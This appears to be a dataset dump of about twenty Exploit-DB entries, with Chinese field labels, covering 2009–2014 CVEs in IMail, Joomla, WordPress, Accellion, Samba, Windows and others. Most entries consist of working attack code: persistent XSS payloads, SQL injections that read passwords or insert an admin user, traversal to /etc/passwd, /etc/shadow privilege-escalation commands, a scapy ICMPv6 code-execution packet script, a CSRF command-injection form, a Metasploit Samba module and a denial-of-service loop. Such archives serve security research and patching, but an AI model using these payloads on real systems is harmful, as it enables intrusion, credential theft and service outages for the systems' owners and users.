QLWD/code_shield huggingface dataset:
标题: IPSwitch IMail Server WEB client 12.4 - Persistent Cross-Site Scripting EDB-ID: 33633 CVE: 2014-3878 类型: WEBAPPS 平台: WINDOWS 发布日期: 2014-06-03 漏洞利用脚本: # Exploit Title: IPSwitch IMail Server WEB client 12.4 persistent XSS
# Google Dork: 
# Date: 3 june 2014
# Exploit Author: Peru (GoSecure!)
# Vendor Homepage: www.ipswitch.com
# Software Link: http://www.imailserver.com/try/
# Version: Tested on 12.3 and 12.4 before 12.4.1.15
# Tested on: WindowsServer2008R2 STD SP1
# CVE : 2014-3878

Four injection points were useful to create a persistent Cross Site Scripting. All the injections are reached using default Web Client interface, but the Web Client Lite seems to be not vulnerable to these tests.

1. Contacts section:
 A persistent XSS can be reached adding a new contact with a specific string in the Name field and whatever image:

PoC string:
Go<IFRAME SRC="javascript:alert('www.gosecure.it');"></IFRAME>Secure!


When the contact is saved and on mouse over the picture the Name is been displayed in a bubble activating the JS:


2. Contacts section:
 A vulnerability can also be reached in the Adding Group task.

PoC string:
<iframe src="http://www.gosecure.it" height=500 width=500 frameborder=1 align=center></iframe>


3. Calendar section:
A persistent XSS can be reached adding a new event in the Calendar; this event can be spread adding the Meeting Request option.
 Since, using this injection point, the XSS can be spread to other users, this is the most dangerous of the four and can be used to spoofing sessions and therefore compromising the attacked users account

The JavaScript is executed simply viewing the calendar or when the Reminder pops up.

PoC string:
GS!<IFRAME SRC="javascript:alert(‘GoSecure!');"></IFRAME>


4.Task section:
 In a similar way also the tasks are vulnerable to persistent XXS.

PoC string:
<iframe src=http://www.gosecure.it/blog/remote/xss_h.html> URL: https://www.exploit-db.com/exploits/33633
标题: PHP 5.3.1 - 'session_save_path() Safe_mode()' Restriction Bypass Exploiot EDB-ID: 33625 CVE: 2010-1130 类型: DOS 平台: PHP 发布日期: 2010-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/38182/info

PHP is prone to a 'safe_mode' restriction-bypass vulnerability. Successful exploits could allow an attacker to write session files in arbitrary directions.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; the 'safe_mode' restrictions are assumed to isolate users from each other. 

{

session_save_path(";;/byp/;a/../../humhum");
session_start();

} URL: https://www.exploit-db.com/exploits/33625
标题: Joomla! Component Webee Comments 1.1/1.2 - 'index2.php' articleId SQL Injection EDB-ID: 33637 CVE: 2009-4650 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/38204/info

The Joomla! Webee component is prone to an SQL-injection vulnerability and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage the HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

The attacker may exploit the SQL-injection issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Webee 1.1.1 is vulnerable to all these issues. Webee 1.2 is reportedly affected by the SQL-injection issue and possibly the HTML-injection issues as well.

http://www.example.com/index2.php?option=com_webeecomment&task=default&articleId=999 union select 1,2,VERSION(),4,5,6,7,8,9,10,11,12 -- URL: https://www.exploit-db.com/exploits/33637
标题: Accellion File Transfer - 'Appliance web_client_user_guide.html?lang' Traversal Arbitrary File Access EDB-ID: 33622 CVE: 2009-4645 类型: REMOTE 平台: LINUX 发布日期: 2010-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/38176/info

Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, including:

- Multiple privilege-escalation issues
- A directory-traversal issue
- An HTML-injection issue
- A remote command-injection issue

An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible. 

https://www.example.com/courier/1000@1276123d688676a09e0100b4f54b239c/web_client_user_guide.html?lang=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/33622
标题: Helix Player 11.0.2 - Encoded URI Processing Buffer Overflow EDB-ID: 33620 CVE: 2010-0416 类型: REMOTE 平台: LINUX 发布日期: 2007-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/38161/info

Helix Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successful exploits may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions. 


The following example URI is available:

http://AAA.BBB.CCC.DDD:EEEE/%.20000000s% URL: https://www.exploit-db.com/exploits/33620
标题: Accellion Secure File Transfer Appliance - Multiple Command Restriction / Privilege Escalations EDB-ID: 33623 CVE: 2009-4648 类型: LOCAL 平台: LINUX 发布日期: 2010-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/38176/info
 
Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, including:
 
- Multiple privilege-escalation issues
- A directory-traversal issue
- An HTML-injection issue
- A remote command-injection issue
 
An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible.
 
The following proofs of concept are available:

sh-2.05b$ ln /etc/shadow /home/admin/oldtemp
sh-2.05b$ sudo /bin/chmod 666 /home/admin/oldtemp

sh-2.05b$ ln /etc/shadow /home/admin/temp
sh-2.05b$ sudo /bin/cp /home/admin/temp /etc/mail/sendmail.cf

sh-2.05b$ sudo /usr/local/bin/admin.pl URL: https://www.exploit-db.com/exploits/33623
标题: WordPress Plugin Participants Database 1.5.4.8 - SQL Injection EDB-ID: 33613 CVE: 2014-3961 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-02 漏洞利用脚本: Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress
=========================================================================

Program: Participants Database <= 1.5.4.8
Severity: Unauthenticated attacker can fully compromise the Wordpress
installation
Permalink: http://www.yarubo.com/advisories/1

— Info —

Participants Database is a popular Wordpress plugin that offers the
functionality needed to build and maintain a database of people. As of
today the plugin has been downloaded 92,089 times.

— Vulnerability details —

1. Due to insufficient privilege checks it is possible for anonymous
(unauthenticated) users to trigger some administrative actions If any of
the shortcodes is used (e.g. signup page).

2. The action "export CSV" takes a parameter called "query" that can
contain an arbitrary SQL query. This means that an unauthenticated user can
execute arbitrary SQL statements (e.g. create an admin user, read or write
files, or execute code depending on the MySQL user privileges).


— Exploit —

Add a user to wordpress as follows (if you want an admin user, also add
admin privileges to wp_usermeta):


POST /wordpress/pdb-signup/ HTTP/1.1
Host: www.example.com
Content-Length: 789
(…)
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryuoACADe1C2IFWMxN

------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="action"

output CSV
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="CSV_type"

participant list
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="subsource"

participants-database
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="query"

INSERT INTO wp_users
(ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name)
VALUES
(31337,0x74657374,0x245024425a7a59615354486f41364b693355363576772f5461473861412f475a4b31,0x59617275626f,0x7465737440746573742e636f6d,0x323031342d31312d31312030303a30303a3030,0,0x59617275626f);

------WebKitFormBoundaryuoACADe1C2IFWMxN



— Solution —

This issue has been fixed in version 1.5.4.9. Download the newest version
from:

https://wordpress.org/plugins/participants-database/


— Credit —


Yarubo Research Team
research [at] yarubo.com

Network Security Scan:
http://www.yarubo.com/

Free Heartbleed Scan:
http://www.yarubo.com/heartbleed URL: https://www.exploit-db.com/exploits/33613
标题: SystemTap 1.0/1.1 - '__get_argv()' / '__get_compat_argv()' Local Memory Corruption EDB-ID: 33604 CVE: 2010-0411 类型: LOCAL 平台: LINUX 发布日期: 2010-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/38120/info

SystemTap is prone to multiple local memory-corruption vulnerabilities.

An attacker may exploit these issues to execute arbitrary code with SYSTEM privileges. Failed exploit attempts will result in a denial of service.

SystemTap 1.1 is vulnerable; other versions may also be affected. 

#!/bin/bash
while [ "0" = "0" ] ; do
HOME=1
/bin/echo /usr/src/kernels/2.6.18-128.el5-PAE-i686/include/*/*

cat /proc/slabinfo
done URL: https://www.exploit-db.com/exploits/33604
标题: Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution EDB-ID: 33594 CVE: 2010-0239 类型: REMOTE 平台: WINDOWS 发布日期: 2010-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/38061/info

Microsoft Windows TCP/IP protocol implementation is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers. Failed exploit attempts will likely result in denial-of-service conditions. 


v6_dst = "<IPv6 address>"

mac_dst = "<Mac address>"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0") URL: https://www.exploit-db.com/exploits/33594
标题: LANDesk Management Gateway 4.x - Multiple Vulnerabilities EDB-ID: 33603 CVE: 2010-0368 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/38119/info

LANDesk Management Gateway is prone to a cross-site request-forgery vulnerability and a cross-site scripting vulnerability.

An attacker can exploit the cross-site request forgery issue to alter the settings on affected devices. This may lead to further network-based attacks, including command-injection attacks to the device's underlying operating system, which can lead to a complete compromise of a vulnerable device.

The attacker can exploit the cross-site scripting issue to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

<html> <head><title>LANDesk PoC</title></head> <body> <form method="post" action="https://www.example.com/gsb/datetime.php"> <input type="text" name="delBackupName" value="; touch /tmp/ATTACKED"> <input type="text" name="backupRestoreFormSubmitted" value="b"> <input type="submit" value="Attack!"> </form> </body> </html> URL: https://www.exploit-db.com/exploits/33603
标题: evalSMSI 2.1.3 - Multiple Input Validation Vulnerabilities EDB-ID: 33602 CVE: 2010-0614 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/38116/info

evalSMSI is prone to multiple vulnerabilities, including an authentication-bypass issue, an SQL-Injection issue, and an HTML-Injection issue.

Attackers can exploit these issues to gain administrative access to the affected application, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Versions prior to evalSMSI 2.2.00 are vulnerable. 

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 URL: https://www.exploit-db.com/exploits/33602
标题: Samba 3.4.5 - Symlink Directory Traversal EDB-ID: 33599 CVE: 2010-0926 类型: REMOTE 平台: LINUX 发布日期: 2010-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/38111/info
 
Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
 
Exploits would allow an attacker to access files outside of the Samba user's root directory to obtain sensitive information and perform other attacks.
 
To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts.
 
NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide links = no' in the '[global]' section of 'smb.conf'.
 
smbclient patch (exploit):

samba-3.4.5/source3/client/client.c
/****************************************************************************
 UNIX symlink.
****************************************************************************/

static int cmd_symlink(void)
{
        TALLOC_CTX *ctx = talloc_tos();
        char *oldname = NULL;
        char *newname = NULL;
        char *buf = NULL;
        char *buf2 = NULL;
        char *targetname = NULL;
        struct cli_state *targetcli;

        if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
            !next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
                d_printf("symlink <oldname> <newname>\n");
                return 1;
        }
        oldname = talloc_asprintf(ctx,
                        "%s", // << HERE modified
                        buf);
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        "%s", // << HERE modified
                        buf2);
        if (!newname) {
                return 1;
        }
/* ORIGINAL SMBCLIENT SOURCE LINES TO BE MODIFIED (SEE ABOVE).
      oldname = talloc_asprintf(ctx,
                        "%s%s", // < modified (see above)
                        client_get_cur_dir(), // < removed (see above)
                        buf);
        if (!oldname) {
                return 1;
        }
        newname = talloc_asprintf(ctx,
                        "%s%s", // < modified (see above)
                        client_get_cur_dir(), // < removed (see above)
                        buf2);
        if (!newname) {
                return 1;
        }
----------------------------------------------*/

        if (!cli_resolve_path(ctx, "", auth_info, cli, oldname, &targetcli, &targetname)) {
                d_printf("link %s: %s\n", oldname, cli_errstr(cli));
                return 1;

        }

        if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
                d_printf("Server doesn't support UNIX CIFS calls.\n");
                return 1;
        }

        if (!cli_unix_symlink(targetcli, targetname, newname)) {
                d_printf("%s symlinking files (%s -> %s)\n",
                        cli_errstr(targetcli), newname, targetname);
                return 1;
        }

        return 0;
}

// Cheers,
// kcope URL: https://www.exploit-db.com/exploits/33599
标题: Samba 3.4.5 - Symlink Directory Traversal (Metasploit) EDB-ID: 33598 CVE: 2010-0926 类型: REMOTE 平台: LINUX 发布日期: 2010-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/38111/info

Samba is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploits would allow an attacker to access files outside of the Samba user's root directory to obtain sensitive information and perform other attacks.

To exploit this issue, attackers require authenticated access to a writable share. Note that this issue may be exploited through a writable share accessible by guest accounts.

NOTE: The vendor stated that this issue stems from an insecure default configuration. The Samba team advises administrators to set 'wide links = no' in the '[global]' section of 'smb.conf'.

##
# $Id: samba_symlink_traversal.rb 8369 2010-02-05 06:38:24Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

 # Exploit mixins should be called first
 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB
 include Msf::Auxiliary::Report

 # Aliases for common classes
 SIMPLE = Rex::Proto::SMB::SimpleClient
 XCEPT  = Rex::Proto::SMB::Exceptions
 CONST  = Rex::Proto::SMB::Constants


 def initialize
  super(
   'Name'        => 'Samba Symlink Directory Traversal',
   'Version'     => '$Revision: 8369 $',
   'Description' => %Q{
    This module exploits a directory traversal flaw in the Samba
   CIFS server. To exploit this flaw, a writeable share must be specified.
   The newly created directory will link to the root filesystem.
   },
   'Author'      =>
    [
     'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
     'hdm'    # metasploit module
    ],
   'License'     => MSF_LICENSE
  )

  register_options([
   OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
   OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
  ], self.class)

 end


 def run
  print_status("Connecting to the server...")
  connect()
  smb_login()

  print_status("Trying to mount writeable share #{datastore['SMBSHARE']}...")
  self.simple.connect(datastore['SMBSHARE'])

  print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
  self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

  print_status("Now access the following share to browse the root filesystem:")
  print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
  print_line("")
 end

end URL: https://www.exploit-db.com/exploits/33598
标题: lighttpd 1.4/1.5 - Slow Request Handling Remote Denial of Service EDB-ID: 33591 CVE: 2010-0295 类型: DOS 平台: LINUX 发布日期: 2010-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/38036/info

The 'lighttpd' webserver is prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the application to hang, denying service to legitimate users. 

##slow_test.sh
for ((j=0;j<1000;j++)) do
  for ((i=0; i<50; i++)) do
  ## slow_client is a C program which sends a HTTP request very slowly
    ./slow_client http://www.example.com/>/dev/null 2>/dev/null &
  done&
  sleep 3
done URL: https://www.exploit-db.com/exploits/33591
标题: Joomla! Component AutartiTarot - Directory Traversal EDB-ID: 33590 CVE: 2010-0801 类型: WEBAPPS 平台: PHP 发布日期: 2010-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/38034/info

The AutartiTarot component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

NOTE: Successful exploitation requires having 'Public Back-end' group credentials. 

http://www.example.com/administrator/index.php?option=com_autartitarot&task=edit&cid[]=38&controller=[DT] URL: https://www.exploit-db.com/exploits/33590
标题: Hybserv2 - ':help' Denial of Service EDB-ID: 33581 CVE: 2010-0303 类型: DOS 平台: LINUX 发布日期: 2010-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/38006/info

Hybserv2 is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to deny service to legitimate users.

Hybserv2 1.9.4 is vulnerable; other versions may also be affected. 

The following example command is available:

PRIVMSG memoserv :help \t URL: https://www.exploit-db.com/exploits/33581
标题: Linux Kernel 2.6.x (x64) - Personality Handling Local Denial of Service EDB-ID: 33585 CVE: 2010-0307 类型: DOS 平台: LINUX_X86-64 发布日期: 2010-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/38027/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause the affected kernel to crash, denying service to legitimate users.

Versions prior to Linux kernel 2.6.33-rc6 are vulnerable.

NOTE: This issue can be exploited only on 64-bit architectures. Core dumps must be enabled.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33585.tgz URL: https://www.exploit-db.com/exploits/33585
标题: COMTREND CT-507 IT ADSL Router - 'scvrtsrv.cmd' Cross-Site Scripting EDB-ID: 33580 CVE: 2010-0470 类型: REMOTE 平台: HARDWARE 发布日期: 2010-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/38004/info

Comtrend CT-507 IT is prone to a cross-site scripting vulnerability because the device's web interface fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/scvrtsrv.cmd?action=add&srvName=XSS_HERE&srvAddr=192.168.1.1&proto=1,&eStart=1,&eEnd=1,&iStart=1,&iEnd=1 URL: https://www.exploit-db.com/exploits/33580
标题: IBM DB2 - 'REPEAT()' Local Heap Buffer Overflow EDB-ID: 33572 CVE: 2010-0462 类型: LOCAL 平台: UNIX 发布日期: 2010-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/37976/info

IBM DB2 is prone to a heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with elevated privileges or crash the affected application.

The issue affects the following:

IBM DB2 versions prior to 9.1 Fix Pack 9
IBM DB2 9.7

Other versions may also be affected. 

SELECT REPEAT(REPEAT('1',1000),1073741825) FROM SYSIBM.SYSDUMMY1 URL: https://www.exploit-db.com/exploits/33572
标题: CommonSpot Server - '/utilities/longproc.cfm' Cross-Site Scripting EDB-ID: 33575 CVE: 2010-0468 类型: WEBAPPS 平台: CFM 发布日期: 2010-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/37986/info

CommonSpot Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

https://www.example.com/commonspot/utilities/longproc.cfm?onlyurlvars=1&url=%27;--%3E%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E URL: https://www.exploit-db.com/exploits/33575